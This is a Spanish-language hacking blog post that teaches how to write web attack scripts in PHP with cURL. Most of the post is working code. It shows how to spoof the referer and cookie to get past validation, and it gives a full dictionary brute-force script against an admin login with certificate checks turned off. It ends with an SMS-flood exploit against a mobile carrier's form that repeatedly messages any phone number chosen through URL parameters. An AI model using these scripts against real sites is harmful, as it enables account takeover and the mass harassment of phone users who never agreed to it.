Se me cayo un exploit

SEGURIDAD INFORMÁTICA

HACKING . PROGRAMACIÓN . ELECTRÓNICA . GNU/LINUX

Se me cayó un exploit en tu server.... por @UnaPibaGeek

[email protected]:~# ./Bugs-Exploits

Laboratorio de vulnerabilidades y escritura de shells & exploits, desde mis gustos digo que es lo más interesante de la seguridad informática.

Escribiendo exploits con cURL en PHP

exploits-php-curl.jpg

Después de encontrar una vulnerabilidad y explotarla manualmente, viene la pregunta: ¿cómo automatizo el ataque?. En lo que a web respecta, pudiéramos necesitar un script que lance un ataque de fuerza bruta con determinados campos POST que van más allá de los de usuario y password, o quizás el ataque necesite repetir X cantidad de veces una petición, o ejecutar diferentes acciones según la respuesta que recibe por parte del servidor...o trabajar sobre HTTPS y un largo etcétera.

¿Podemos codear un script en python? si, podemos... pero también hay otra alternativa que particularmente a mí me gusta mucho y permite resolver las situaciones anteriores (y muchas más) con gran velocidad y en pocas líneas de código: la librería cURL con PHP.

A continuación un ejemplo básico de conexión con cURL donde mostramos en pantalla la respuesta del servidor web:

<?php
    $url = "http://www.semecayounexploit.com";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    print curl_exec($ch);
    curl_close($ch);
?>

Veamos cómo a esta conexión podemos añadirle un referer y una cookie, lo que podría ser útil para saltar alguna validación a través del referer e indicarle a la aplicación que somos determinado usuario o tenemos una sesión valida:


<?php
    $url = "http://www.semecayounexploit.com/admin";
    $referer = "http://www.semecayounexploit.com";
    $cookie = "cookie=valor";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_REFERER, $referer);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);

    print curl_exec($ch);
    curl_close($ch);
?>

Veamos como automatizar con cURL un ataque de diccionario (de paso vemos cómo añadir campos a enviar por POST):


<?php
    $url = "http://www.semecayounexploit.com/admin";
    $referer = "http://www.semecayounexploit.com";
    $cookie = "cookie=valor";

    $usuario = "admin";
    $diccionario = file_get_contents("diccionario.txt");
    $palabras = explode("\n",$diccionario);

    foreach ($palabras as $clave){

        $POST = "usuario=".$usuario."&pass=".$clave."&otrocampo=tehackeo&...";

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_REFERER, $referer);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $POST);

        /*Línea para almacenar la respuesta en una variable y luego procesarla*/
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        /* Si el login va por HTTPS también agregar la siguiente línea: */
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

        $respuesta = curl_exec($ch);

        if (preg_match("/Error/",$respuesta)){ //Login invalido
            print "Probando usuario: $usuario clave: $clave ---> FALLÓ";
        }else{
            print "Probando usuario: $usuario clave: $clave ---> ENCONTRADA!";
            exit();
        }
        curl_close($ch);
    }
?>

Además de mostrar el envío de campos por POST, en el script de arriba podemos observar cómo almacenar la respuesta de la conexión para buscar en ella determinada string y actuar en consecuencia. En este caso solo buscamos una cadena de error para verificar si le pegamos con la clave o no, pero, por ejemplo en algunos exploits que he programado donde era necesario ejecutar algunos pasos previos a la explotación de la falla en la aplicación vulnerable, me ha sido útil capturar y analizar la respuesta de manera que pueda determinar cómo continuar y así llevar a cabo todo el procedimiento correctamente.

Por otro lado, en los casos que se use HTTPS tendremos que agregar la línea: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);.

Para finalizar dejo a modo de ejemplo un pequeño exploit que aprovecha una falla encontrada en el sitio de una compañía de telefonía móvil que permite realizar un Flood SMS a sus clientes:


<?php 
    set_time_limit(0);

    $area = $_GET["area"];
    $numero  = $_GET["numero"];
    $cantidad_sms = $_GET["cantidad"];

    $url = "https://vulnerable.com/xyz.aspx";
    $referer = "https://vulnerable.com/xyz.aspx";

    $post = "CodigoArea=".$area."&NumeroCelular=".$numero."&Siguiente=Continuar";
    $cookie = "cookie=valor";

    for($f=1;$f<=$cantidad_sms;$f++){

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        curl_setopt($ch, CURLOPT_REFERER, $referer);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch);
        curl_close($ch);
    }
?>

Para mis amigos fans de Python: PycURL.

¿Te cansaste de leer? Tomate un café (share):

Fecha: 19/06/2015

¡Suscribite!

Aprendé más en...